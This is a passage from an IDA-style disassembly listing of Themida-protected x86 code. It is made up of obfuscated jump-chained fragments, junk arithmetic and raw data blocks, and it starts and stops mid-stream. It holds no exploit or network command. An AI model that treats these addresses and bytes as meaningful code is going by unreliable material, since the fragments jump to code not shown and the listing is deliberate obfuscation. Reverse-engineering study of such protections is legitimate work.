894A616Eh, 23E958C6h, 8B00002Eh, 0D3662424h dd 0E99C2424h, 0FFFFC981h, 0BE34EF05h, 0A99EE90Dh, 0C483FFFFh dd 0E9C30104h, 0FFFFC09Ah ; --------------------------------------------------------------------------- loc_564680: ; CODE XREF: Themida_:0056611Ej push eax mov eax, 4 add edx, eax pop eax jmp loc_56291F ; --------------------------------------------------------------------------- dw 487h dd 0E41EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564696: ; CODE XREF: Themida_:00555C01j mov [esp], ebx mov ebx, 783B6F1Dh xor edx, ebx mov ebx, [esp] add esp, 4 push edi mov edi, 288C4540h add esi, edi pop edi jmp loc_55E58E ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_553AA2 ; --------------------------------------------------------------------------- loc_5646C5: ; CODE XREF: Themida_:0055F58Aj mov esp, [esp] mov [esp], edi mov edi, 5D311C2Bh add edi, 14446753h push 70D6h mov [esp], ebx mov ebx, 75165F27h shr ebx, 4 inc ebx jmp loc_554042 ; --------------------------------------------------------------------------- dd 2AE95B66h, 89FFFFDBh, 241C8BD9h, 0FF3975E9h db 0FFh ; --------------------------------------------------------------------------- loc_5646FD: ; CODE XREF: Themida_:00563B90j mov cl, dh pop edx dec cl xor cl, bl jmp loc_5642FF ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4ED8100h, 87000000h, 895C242Ch, 51662404h, 0C8885AB1h dd 0C7885966h, 66F83058h, 0E9241C8Bh, 0FFFFDCA0h ; --------------------------------------------------------------------------- loc_564734: ; CODE XREF: Themida_:0055721Cj add eax, edi add eax, 7FF15424h mov edi, [esp] push 5985h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp add eax, 4 jmp loc_555486 ; --------------------------------------------------------------------------- dw 4BEh dd 53000000h, 231BE9h, 38B95100h, 814B824Dh, 544554E9h dd 8FC1814Fh, 811EE073h, 947B14C1h, 4EC816Fh, 0E9000000h dd 0FFFF7113h, 0F0288C04h, 5C2C8C2Ch, 5A2434FFh, 7FB268h dd 242C8900h, 83515D54h, 2C8904ECh, 4EC8324h, 0BF243C89h dd 3B982995h, 815FFD89h, 2E58E9E5h, 5F9EE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647C6: ; CODE XREF: Themida_:00553A64j pop edx sub ebx, 0CEFC211Fh add dword ptr [esp+4], 1FE163BEh jmp loc_563F3C ; --------------------------------------------------------------------------- dw 0E3D1h dd 0FFB678E9h, 4C483FFh, 0FEE354E9h db 0FFh ; --------------------------------------------------------------------------- loc_5647E9: ; CODE XREF: Themida_:0055835Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55C426 ; --------------------------------------------------------------------------- loc_564806: ; CODE XREF: Themida_:0055D5C7j add ecx, 4 jmp loc_55EE8F ; --------------------------------------------------------------------------- dw 0CF01h dd 0E9575159h, 0FFFEEA89h ; --------------------------------------------------------------------------- loc_564818: ; CODE XREF: Themida_:00562F11j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebp, 39E17949h add ebp, eax sub ebp, 39E17949h pop eax xchg ebp, [esp] mov esp, [esp] and eax, edi mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push 0FFFFFFFFh pop ebx sub [edi+24h], ebx push dword ptr [esp] push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push ebp mov ebp, 656F6281h shr ebp, 5 jmp loc_5657F2 ; --------------------------------------------------------------------------- dd 7B57B850h, 5483178h, 44F4EA81h, 8158C501h, 6D5AA7C5h dd 2EA3E93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5648AA: ; CODE XREF: Themida_:0055F55Fj xor eax, 6120334Bh or eax, 4C4336DDh add eax, 9B4CA4E9h jmp loc_553E21 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55D35E ; --------------------------------------------------------------------------- loc_5648CC: ; CODE XREF: Themida_:00566356j sub ebx, 5E0578B2h jmp loc_558370 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 79E1h, 54241489h, 8124148Bh, 4C4h, 0C4FFE900h dd 63BBFFFFh, 564D4821h, 355D2EBEh, 88CE812Ah, 533D8C04h dd 892614BBh, 0F176E934h, 1C8BFFFFh, 0D855E924h, 0CB29FFFFh dd 21E5EB81h, 0C381674Bh, 5BCD7FE4h, 17E94B59h, 81FFFFC5h dd 0CD7FE4EBh, 0E5C3815Bh, 0E9674B21h, 0FFFFFFDAh, 0BA52575Dh dd 127560A3h, 7560A7BFh, 5AD73112h, 0FF4421E9h db 0FFh ; --------------------------------------------------------------------------- loc_564951: ; CODE XREF: Themida_:0056536Bj pop dword ptr [esp] mov esp, [esp] push 245Ah mov [esp], ecx push 63A6h mov [esp], eax jmp loc_5600A4 ; --------------------------------------------------------------------------- loc_56496C: ; CODE XREF: Themida_:0056593Cj add ebp, 45932CB6h shr ebp, 1 jmp loc_56754B ; --------------------------------------------------------------------------- db 59h, 89h, 0F7h dd 5FF9015Eh, 0FF1506E9h, 1F8ABEFFh, 0EE81164Ch, 310E0219h dd 0E903EEC1h, 0FFFFA07Ah ; --------------------------------------------------------------------------- loc_564998: ; CODE XREF: Themida_:0055FCFBj add esp, 4 push esi mov esi, 56081508h sub ebx, 3A1D2525h add ebx, esi add ebx, 3A1D2525h pop esi jmp loc_554977 ; --------------------------------------------------------------------------- loc_5649B8: ; CODE XREF: Themida_:00555662j add edx, 43223302h add edx, ecx jmp loc_560C68 ; --------------------------------------------------------------------------- loc_5649C5: ; CODE XREF: Themida_:0055754Cj or edi, 7F4C62A5h xor edi, 0B3F45E6h xor edi, 74F1B345h add ebx, edi pop edi jmp loc_55B21C ; --------------------------------------------------------------------------- db 51h dd 5F6386B9h, 92A5E903h, 0D408FFFFh, 83DCF65Ah, 1C8904ECh dd 3BF4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5649FA: ; CODE XREF: Themida_:00558910j or bl, 0Ch jmp loc_5553DD ; --------------------------------------------------------------------------- dw 0E981h dd 46377EA2h, 0E6DC181h, 0E9810872h, 6C553B8Fh, 8FE9535Dh dd 35FFFF9Ch, 531136C5h, 3934ED81h, 0C50109EEh, 1370BB53h dd 0F3812A64h, 4B7531F2h, 0FF0FFAE9h, 99E959FFh, 52FFFFCFh dd 5A240CFFh, 8904EC83h, 90BE2434h, 2177B068h, 0F2815EF2h dd 74A04814h, 782DBF57h, 7FE96572h, 81FFFFFAh, 4C4h, 43EA8100h dd 81233E64h, 0B12961EAh, 81C2011Ch, 0B12961C2h, 0ABF571Ch dd 0F75F602Ch, 0E9D7F7DFh, 0FFFFEEFDh, 0E92434FFh, 0FFFF237Ch dd 5C24048Fh, 54240C89h, 0FF86D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_564AA1: ; CODE XREF: Themida_:00561BCAj shr ecx, 4 push edx push esi jmp loc_558AEB ; --------------------------------------------------------------------------- db 0BBh dd 383634FBh, 0F75BD901h, 964E9D1h, 0E950FFFFh, 4ADh ; --------------------------------------------------------------------------- loc_564AC0: ; CODE XREF: Themida_:005581A1j mov esp, [esp] push ebp jmp loc_553554 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Dh, 8F000000h, 0B4E92404h, 0ADFFFF64h, 2239BA52h dd 0D0296530h, 5043055Ah, 0CD051645h, 2927C546h, 46CD2DD8h dd 0C3E927C5h, 5FFFFF4Dh, 0FFE10FE9h, 2474FFFFh, 9D18E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B0A: ; CODE XREF: Themida_:005545AFj add al, 93h add al, 0EAh sub al, dl sub al, 0EAh sub al, 93h jmp loc_55B42D ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24048152h, 1, 1C2835Ah, 62B3F281h, 0EA8168ACh, 0EA50CA6Fh dd 0B2E9D129h db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B3B: ; CODE XREF: Themida_:00566142j pop esp sub esp, 4 jmp loc_557E6F ; --------------------------------------------------------------------------- loc_564B44: ; CODE XREF: Themida_:005574A5j mov ecx, 428D3D63h or ecx, 1BD54E16h push 5C32h jmp loc_552CCA ; --------------------------------------------------------------------------- loc_564B59: ; CODE XREF: Themida_:0055B1C2j add edx, 4 jmp loc_554665 ; --------------------------------------------------------------------------- loc_564B61: ; CODE XREF: Themida_:00566F18j add esp, 4 jmp loc_55B031 ; --------------------------------------------------------------------------- loc_564B6C: ; CODE XREF: Themida_:0056213Ej push dword ptr [esp] pop edi add esp, 4 pop ebp sub ebx, 3A1C426Ah add ebx, eax add ebx, 3A1C426Ah add ebx, 17A80761h jmp loc_55E2A2 ; --------------------------------------------------------------------------- loc_564B8D: ; CODE XREF: Themida_:00560EF1j not ecx inc ecx xor ecx, 24BE40EFh jmp loc_563180 ; --------------------------------------------------------------------------- db 51h dd 5F39F3B9h, 59CB0152h, 0FF883EE9h db 0FFh ; --------------------------------------------------------------------------- loc_564BA9: ; CODE XREF: Themida_:00555F1Cj push eax mov eax, esp push ecx mov ecx, 78831319h neg ecx add ecx, 0FFFFFFFFh push 5425h mov [esp], edi mov edi, 7B8B76DEh jmp loc_556DBF ; --------------------------------------------------------------------------- loc_564BCC: ; CODE XREF: Themida_:00552B5Fj sub dword ptr [esp+4], 368837C9h push dword ptr [esp] jmp loc_563A56 ; --------------------------------------------------------------------------- loc_564BDC: ; CODE XREF: Themida_:00556491j push edx jmp loc_5599D9 ; --------------------------------------------------------------------------- loc_564BE2: ; CODE XREF: Themida_:00565D4Fj sub ebp, 2EAE1FC0h pop ebx xor eax, ebp push dword ptr [esp] pop ebp add esp, 4 push ebx push eax jmp loc_55686B ; --------------------------------------------------------------------------- loc_564BF9: ; CODE XREF: Themida_:00565E48j pop ebp or ecx, eax jmp loc_55C44D ; --------------------------------------------------------------------------- loc_564C01: ; CODE XREF: Themida_:00563322j mov edx, esi mov eax, edx mov edx, [esp] push edx jmp loc_55BF7C ; --------------------------------------------------------------------------- loc_564C0E: ; CODE XREF: Themida_:00556A0Aj pop ecx push ebx push dword ptr [esp+4] jmp loc_564218 ; --------------------------------------------------------------------------- loc_564C19: ; CODE XREF: Themida_:0055E12Fj push dword ptr [esp] jmp loc_5610D7 ; --------------------------------------------------------------------------- loc_564C21: ; CODE XREF: Themida_:0055E414j mov edx, 4DF819E5h jmp loc_554FCD ; --------------------------------------------------------------------------- loc_564C2B: ; CODE XREF: Themida_:00565C0Aj pop ecx push eax mov eax, 4 add ecx, eax jmp loc_56549A ; --------------------------------------------------------------------------- db 0B8h, 0E4h, 0Dh dd 0CDB971E5h, 2981F184h, 0B85058C1h, 0C84625h, 0DCE997h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564C52: ; CODE XREF: Themida_:00566B0Aj push edi mov edi, 0DEDEC93Dh add ebp, edi pop edi push eax mov eax, 1BC65FD7h push ebx push 62F72297h jmp loc_553EFD ; --------------------------------------------------------------------------- aZhr db 'Zh ',0 align 2 dw 3C89h dd 2A76BF24h, 2FE96660h, 6600000Eh, 0E9392E68h, 0FFFF4AFEh ; --------------------------------------------------------------------------- loc_564C88: ; CODE XREF: Themida_:005579BDj push ebx mov ebx, 43DD5112h jmp loc_563B30 ; --------------------------------------------------------------------------- db 81h dd 0D13B51EEh, 53C681CDh, 29A13391h, 0EE315EF5h, 0E92434FFh dd 2976h ; --------------------------------------------------------------------------- loc_564CAC: ; CODE XREF: Themida_:0055F0D0j sub ebp, 0FFFFFFFFh push eax jmp loc_5531D0 ; --------------------------------------------------------------------------- dd 4C1835Eh, 152AE9h, 0E9505800h, 0FFFF53B9h, 0E924048Bh dd 0FFFF7721h, 507DE95Bh, 14F7FFFFh, 0E3815B24h, 35887DF7h dd 373C381h, 0D929F78Bh, 0CAE9555Bh, 89FFFFCFh, 0C9BF243Ch dd 81576C3Ch, 93C33BC7h, 0E9FA01A8h, 0FFFF36C3h ; --------------------------------------------------------------------------- loc_564D04: ; CODE XREF: Themida_:005672BCj mov edi, esp add edi, 4 jmp loc_565C2B ; --------------------------------------------------------------------------- loc_564D11: ; CODE XREF: Themida_:00561DC3j pop ebp jmp loc_5632AD ; --------------------------------------------------------------------------- db 81h dd 13C550C7h, 0AF67E93Fh, 8147FFFFh, 0B411FCEFh, 0D561E94Dh dd 0D7F7FFFFh, 25472597h, 53934DD3h, 8B2414F7h, 0C481241Ch dd 4, 0D1E3593h, 0B82D4356h, 31E1AE5Ch, 24048BC1h, 4C481h dd 0E9570000h, 0FFFF10A0h, 24248B66h, 0FED810E9h, 2474FFFFh dd 2434FF04h, 4C48158h, 8F000000h, 665C2404h, 9C2404D3h dd 0FED7F4E9h, 47F780FFh, 285BF800h, 366853C8h, 0E9000005h dd 0FFFFAB70h, 9F1BD55h, 0EA896FF6h, 34E2815Dh, 8106CB50h dd 2225F1E2h, 81DAF725h, 10BE9EF2h, 5AD7298Ah, 9A46E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DBE: ; CODE XREF: Themida_:0055C88Aj sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_562E0E ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFEF347h, 24048155h, 24B81E30h, 30E98159h dd 8B24B81Eh, 0C481242Ch, 4, 1790E9h, 0FCEB8100h, 51601111h dd 95299FB9h, 59CD294Fh, 0B951DD01h, 58EF23ECh, 799DC981h dd 504172D9h, 6A5261B8h, 58C13135h, 5D07C581h, 0B4E956A3h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564E2B: ; CODE XREF: Themida_:00562438j push edi push esp pop edi jmp loc_559C49 ; --------------------------------------------------------------------------- loc_564E33: ; CODE XREF: Themida_:005530B3j pop ebp jmp loc_55C946 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 9Fh dd 58FFFFE9h, 56585450h, 0E1FDE951h, 0EB83FFFEh, 88E4E9FFh dd 487FFFFh, 0C3815C24h, 4, 0FFB14BE9h, 0C8B66FFh, 67FF6824h dd 31E90000h, 89FFFEFBh, 3AE95AD0h, 0F6FFFFF5h, 0FFE953D4h dd 8BFFFEE6h, 0C483240Ch, 225FE904h, 0EC810000h, 4, 0BF243C89h dd 634D3441h, 5701C783h, 0E92414F7h, 0FFFEDDB2h, 80FDC480h dd 0F48007ECh, 6ECC092h, 832BE480h, 48904ECh, 0AACEE924h dd 1368FFFFh, 8900007Eh, 90E9240Ch, 81FFFF33h, 4ECh, 24248900h dd 0FFCE99E9h, 2474FFFFh, 48F5904h, 23A7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564EE6: ; CODE XREF: Themida_:0055CC61j pop ebx push ebp mov ebp, 6958583Bh add [esp+8], ebp pop ebp jmp loc_5620C9 ; --------------------------------------------------------------------------- loc_564EF7: ; CODE XREF: Themida_:005652A1j pop edi not ecx push edi mov edi, 2A37C4Eh add edi, 0FD5C83B3h sub ecx, edi pop edi push 768Eh jmp loc_557EDD ; --------------------------------------------------------------------------- db 57h dd 0FFFFB2E9h, 49F681FFh, 55D47DD0h, 7F2D0668h, 0BF12E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F2A: ; CODE XREF: Themida_:00561413j sub bl, 0D9h push eax push 3268h mov [esp], ecx jmp loc_5628CF ; --------------------------------------------------------------------------- db 53h dd 0AA071468h, 57ADE919h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F46: ; CODE XREF: Themida_:005588F9j and eax, ebp jmp loc_55FD17 ; --------------------------------------------------------------------------- db 29h, 0D8h, 0E9h dd 0FFFF0523h ; --------------------------------------------------------------------------- loc_564F54: ; CODE XREF: Themida_:005615B5j add esp, 4 add ebp, 0B530636h push ecx mov ecx, 1F1A3741h not ecx jmp loc_55E3BB ; --------------------------------------------------------------------------- db 88h, 0D0h, 88h dd 0DC16E9C3h, 6C81FFFFh, 4DD50424h, 0E95F0073h, 0FFFF7A6Ah dd 242C8B5Bh, 0FFB706E9h, 58E300FFh, 0B652C300h, 0DCF68052h dd 8082EB80h, 0F32832EBh, 2C5DB050h, 49E2464h, 96F5E99Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564FAE: ; CODE XREF: Themida_:00556150j push 51EFh mov [esp], edx jmp loc_561518 ; --------------------------------------------------------------------------- db 83h dd 348704EEh, 24248B24h, 81241C89h, 4ECh, 24048900h, 776FB6B8h dd 3CF23537h, 0EE256342h, 0C16B1133h, 0E8C104E0h, 223C3508h dd 5B5078D0h, 1EB8358h, 33EEEB81h, 0BA526BA0h, 0FBFF145Eh dd 575AD301h, 0C82C19BFh, 30C0E91Eh, 0EC83FFFFh, 240C8904h dd 0FB3F45B9h, 59C82936h, 6F5BBF57h, 0F8295F3Ah, 11BF575Fh dd 2927975Fh, 0E685FF8h, 89000078h, 6EE9241Ch, 0FFFFF1h dd 241C8BFAh, 4C481h, 0B0500000h, 23DE98Dh, 34FFFFFFh dd 89515B24h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 0EA6CE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565066: ; CODE XREF: Themida_:0055FB3Cj push ebp xchg eax, [esp] jmp loc_55C67D ; --------------------------------------------------------------------------- loc_56506F: ; CODE XREF: Themida_:005609ECj add eax, 38AD614Eh xor edi, eax mov eax, [esp] add esp, 4 jmp loc_55C122 ; --------------------------------------------------------------------------- db 64h, 66h, 89h dd 4B77E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56508A: ; CODE XREF: Themida_:00563790j mov ebx, 4B7D13E6h not ebx push 1515h mov [esp], edx push 24A20E6h pop edx jmp loc_55EA04 ; --------------------------------------------------------------------------- dd 0FED4D0E9h, 89F181FFh, 13DB910h, 0DE85E9CBh, 875DFFFFh dd 895C2434h, 65BB241Ch, 877B6448h, 1C681F3h, 87000000h dd 0AECB81F3h, 8132C01Ah, 885399F3h, 5E3C122h, 498D68h dd 240C8900h, 351888B9h, 0A7F18110h, 497BBA5Ah, 6143E181h dd 7E687434h, 89000052h, 44E92414h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565103: ; CODE XREF: Themida_:00554E17j xchg esi, [esp] pop esp mov [esp], ecx push 4294h mov [esp], ebx push eax jmp loc_563748 ; --------------------------------------------------------------------------- dd 7270B951h, 0CE317D28h, 4EC8359h, 0FFA09BE9h db 0FFh ; --------------------------------------------------------------------------- loc_565129: ; CODE XREF: Themida_:005572A9j push 69C3h mov [esp], esi mov esi, 311A364Fh not esi push 28EEh mov [esp], edx mov edx, 66AB7BC2h shr edx, 4 jmp loc_55335D ; --------------------------------------------------------------------------- db 5Eh, 50h, 0B8h dd 233145C7h, 493E3F05h, 49B9516Dh, 0F72DC158h, 0D2E181D9h dd 0C16C824Ah, 0C18108E1h, 74700DEDh, 0A30FF181h, 0C8014AD7h dd 7E0C159h, 0FFA0F2E9h, 51E389FFh, 9D6BF57h, 8AE9669Bh dd 8FFFFF17h, 0E95C2404h, 0BECh, 9841D3BEh, 0E9F23136h dd 0FFFEFA5Dh, 0C781E789h, 4, 8702EF83h, 248B243Ch, 4896624h dd 0D3BBE924h, 15BFFFEh, 8B08245Ch, 0C481241Ch, 4, 4247401h dd 456AB951h, 4C297D92h, 5E590824h, 71D86858h, 14890000h dd 4BA24h, 0D0010000h, 8324148Bh, 0EC8304C4h, 240C8904h dd 7BEFBD55h, 0B8E9672Bh db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565203: ; CODE XREF: Themida_:00553E4Cj sub edi, 76F73314h jmp loc_55FF77 ; --------------------------------------------------------------------------- aWO db 'WΏΪ',0Dh,'',0 dd 8105E7C1h, 27615DEFh, 0C7814700h, 0EEF6D468h, 0FFF102E9h dd 32FF66FFh, 0FED348E9h, 0A42C5BFFh, 6642B652h, 2BAF6852h dd 1C890000h, 0F678E924h, 0E5C1FFFFh, 0F5814D07h, 4F10273Bh dd 1BC0C581h, 0EF8949FBh, 943E95Dh, 0D6290000h, 0E924148Bh dd 0FFFFAAA7h ; --------------------------------------------------------------------------- loc_565268: ; CODE XREF: Themida_:00559058j pop ebx jmp loc_55A26A ; --------------------------------------------------------------------------- loc_56526E: ; CODE XREF: Themida_:0055CAB5j add esp, 4 push eax mov eax, 59A84C4Dh xchg eax, ebx not ebx push eax jmp loc_56215D ; --------------------------------------------------------------------------- db 56h dd 47DF3BEh, 19C68117h, 811C4523h, 0E23F57EEh, 0B57DE96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56529A: ; CODE XREF: Themida_:00565A97j mov ecx, 417466A0h xor ecx, edi jmp loc_564EF7 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9241489h, 0FFFF1E80h, 240C8B66h, 7C7368h, 24348900h dd 24348B54h, 0E904C483h, 0FFFF6B50h ; --------------------------------------------------------------------------- loc_5652CC: ; CODE XREF: Themida_:005589E6j add ecx, esi mov esi, [esp] add esp, 4 and eax, ecx jmp loc_556A62 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 4C781h, 3C870000h, 0B1515C24h, 28B9E99Ah, 0C1310000h dd 0E171E958h, 433FFFFh, 24248B24h, 243CD366h, 0D26BE99Ch dd 0E94DFFFEh, 0FFFF3286h, 68240C89h, 3B24h, 88240489h dd 8BC188D0h, 54512404h, 0FF7201E9h, 241C89FFh, 4BE56h dd 25E90000h, 8BFFFF18h, 0C483241Ch, 19BA5204h, 81338732h dd 9A04AFC2h, 77F28177h, 895CD8EBh, 0F1015AD1h, 1FF1815Eh dd 0E934A06Fh, 0FFFF6688h, 3F7BE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56536A: ; CODE XREF: Themida_:00557E22j pop edi jmp loc_564951 ; --------------------------------------------------------------------------- loc_565370: ; CODE XREF: Themida_:00563FA2j pop ebx not ebx sub esp, 4 mov [esp], esi mov esi, 7CA3605Fh push esi dec dword ptr [esp] pop esi shr esi, 3 not esi push ebp push ecx push esi mov esi, 222A6C24h add esi, 31056C48h sub esi, 22250053h neg esi xor esi, 0C273744Fh mov ecx, esi pop esi jmp loc_562235 ; --------------------------------------------------------------------------- loc_5653AC: ; CODE XREF: Themida_:005655E0j xor edi, [esp] pop esp mov [esp], edx jmp loc_552579 ; --------------------------------------------------------------------------- dd 24048F59h, 240C895Ch, 0DE6F5EB9h, 6E1C107h, 0C181D1F7h dd 747C4B60h, 0E981D1F7h, 831F8C1Ch, 0FFECD7E9h, 4C481FFh dd 0E9000000h, 0FFFF3893h, 54240C89h, 0E9240C8Bh, 0FFFFAC6Eh dd 592414F7h, 5701E983h, 7918C3BFh, 5FF90134h, 159C831h dd 4007E9C2h, 0E981FFFFh, 66CB7E55h, 0FF81B3E9h, 4BFFFh dd 7C010000h, 3FE90424h db 1Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565427: ; CODE XREF: Themida_:0055F987j sub esp, 4 mov [esp], ebx pop eax mov ebx, [esp] push edx mov edx, esp add edx, 4 jmp loc_5548EB ; --------------------------------------------------------------------------- dw 0BF57h dd 7E267271h, 0B8E9E7D1h, 0C1FFFF10h, 0BA5202E0h, 24127526h dd 2414F752h, 6677E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565462: ; CODE XREF: Themida_:0055310Dj push eax jmp loc_55A285 ; --------------------------------------------------------------------------- loc_565468: ; CODE XREF: Themida_:00552F18j sub edi, edx pop edx sub edi, eax add edi, 619A6469h add edi, 4F0A0B8Bh pop eax add edi, 68E07285h sub edx, 479355D2h sub edx, 690E1552h add edx, edi add edx, 690E1552h push ebp jmp loc_55E37E ; --------------------------------------------------------------------------- loc_56549A: ; CODE XREF: Themida_:00564C34j pop eax sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp jmp loc_55C20A ; --------------------------------------------------------------------------- dw 2489h dd 0BA0EE924h, 815FFFFFh, 0AF4C1DF1h, 59CB896Eh, 0AF38143h dd 813E9065h, 2B3C4ACBh, 5AEB8163h, 1733F3Dh, 0DAE95BD9h dd 51FFFF60h, 0FF0DC0E9h, 2434FFFFh, 4C4835Bh, 5C240487h dd 45C9EB81h, 0C30145A9h, 45C9C381h, 8DE945A9h, 81FFFF7Dh dd 491BEAEDh, 2C335B1Ch, 242C3124h, 0E9242C33h, 0FFFF7B9Fh dd 720BC581h, 3CE963A3h, 28FFFFC0h, 0BB33E9C3h, 77FFFFFFh dd 2434FF1Ch, 0FF2F02E9h, 0D82859FFh, 80F3B652h, 0F0281EC6h dd 8324148Bh, 1C8B04C4h, 4C48124h, 52000000h, 0C281E289h dd 4, 1EB8B850h, 9105396Eh, 35F2E61Fh, 4BB65701h, 0BAE9D0F7h dd 57FFFFC3h, 0FF8BD5E9h, 0E4F581FFh, 1F7FBFDh, 0BE565DEFh dd 524519C0h, 64C1E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565582: ; CODE XREF: Themida_:00561C48j mov ecx, [esp] add esp, 4 and ecx, edi push dword ptr [esp] pop edi add esp, 4 shr ecx, 2 push 4D82h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_556936 ; --------------------------------------------------------------------------- loc_5655AA: ; CODE XREF: Themida_:0055D6DDj push dword ptr [esp+4] jmp loc_56712A ; --------------------------------------------------------------------------- loc_5655B3: ; CODE XREF: Themida_:0056363Ej xor cl, 0E5h sub al, cl mov ecx, [esp] add esp, 4 push ecx mov ch, 18h sub ch, 53h sub al, 0ECh add al, ch jmp loc_556F02 ; --------------------------------------------------------------------------- loc_5655D0: ; CODE XREF: Themida_:00560AD2j push dword ptr [esp] pop edx add esp, 4 xor edi, [esp] xor [esp], edi jmp loc_5653AC ; --------------------------------------------------------------------------- db 29h, 0CBh, 87h dd 0E9C15BD9h, 0E2C18106h, 5308DE47h, 0C322B7BBh, 0E4E98176h dd 2958E851h, 3CAE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565606: ; CODE XREF: Themida_:00561C64j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_55D88C ; --------------------------------------------------------------------------- dd 48F545Ch, 24048324h, 24348B04h, 81E28952h, 4C2h, 4C28100h dd 87000000h, 0E95C2414h, 0FFFF7B91h, 454368h, 7837E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565642: ; CODE XREF: Themida_:005600CBj not dword ptr [esp] pop eax add eax, 0FFFFFFFFh not eax push edi mov edi, 1 add eax, edi pop edi jmp loc_556169 ; --------------------------------------------------------------------------- loc_56565B: ; CODE XREF: Themida_:0055CFD4j push dword ptr [esp] pop ebp add esp, 4 shr eax, 8 xor eax, ecx jmp loc_56105E ; --------------------------------------------------------------------------- loc_56566F: ; CODE XREF: Themida_:00562131j sub esp, 4 mov [esp], edi push 1DC8h mov [esp], edx jmp loc_55453B ; --------------------------------------------------------------------------- dw 348Bh dd 0E2895224h, 0FF82ABE9h, 27E95AFFh db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565693: ; CODE XREF: Themida_:0056694Aj or edi, 6A1331FBh not edi inc edi jmp loc_55ACD0 ; --------------------------------------------------------------------------- loc_5656A1: ; CODE XREF: Themida_:005533D6j push esi push edi mov edi, 3F586AA8h add [esp+4], edi pop edi mov ecx, [esp] add esp, 4 sub ecx, 3F586AA8h mov esi, [esp] sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] jmp loc_56660C ; --------------------------------------------------------------------------- loc_5656DB: ; CODE XREF: Themida_:0055CCBCj push dword ptr [esp] pop esi add esp, 4 add esp, 4 sub ebx, edi mov edi, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_55828F ; --------------------------------------------------------------------------- db 50h, 0B8h, 10h dd 0E9645E6Dh, 0FFFF573Ch, 8B24048Fh, 0C892424h, 0CE67E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565712: ; CODE XREF: Themida_:00563DBEj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_558AAB ; --------------------------------------------------------------------------- dd 4BBh, 245C0100h, 9FE95B04h, 89FFFEF5h, 4C681E6h, 0E9000000h dd 0FFFEF7D0h, 80C9FE5Ch, 506653C1h, 0FF6FEFE9h, 221CBEFFh dd 0EE8118C6h, 61B331F5h, 0FF4E0EE9h, 0C2BB53FFh, 0E979667Bh dd 0FFFF3582h, 348BF089h, 4C48124h, 81000000h, 92164DEFh dd 81C70144h, 92164DC7h, 24048B44h, 0E904C483h, 0FFFED0A0h dd 0FBE9C629h, 56FFFFA5h, 0FD61CEBEh, 9E32B960h, 0F1019F02h dd 4EC815Eh, 89000000h, 97BB241Ch, 8144DB74h, 141CC9E9h dd 81D90161h, 141CC9C1h, 241C8B61h, 4C481h, 0C1810000h dd 2FD141BDh, 5EA9E981h, 0C1015C1Ah, 5EA9C181h, 0BB535C1Ah dd 2FD141BDh, 0A0E9D929h, 58FFFFAFh, 0D89BE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5657F2: ; CODE XREF: Themida_:0056488Bj sub ebp, 302628Fh or ebp, 27D04241h sub ebp, 3CA21A4Bh add ebp, 14A8BF8Ah jmp loc_554BD6 ; --------------------------------------------------------------------------- db 0FEh dd 0E37EE9C4h, 5455FFFEh, 0E9BDE95Dh, 0EE83FFFEh, 24343302h dd 33243431h, 248B2434h, 0C896624h, 0B60F6624h, 9C5166C8h dd 0FECD3CE9h, 81C501FFh, 4E4A58C5h, 5AE9581Eh, 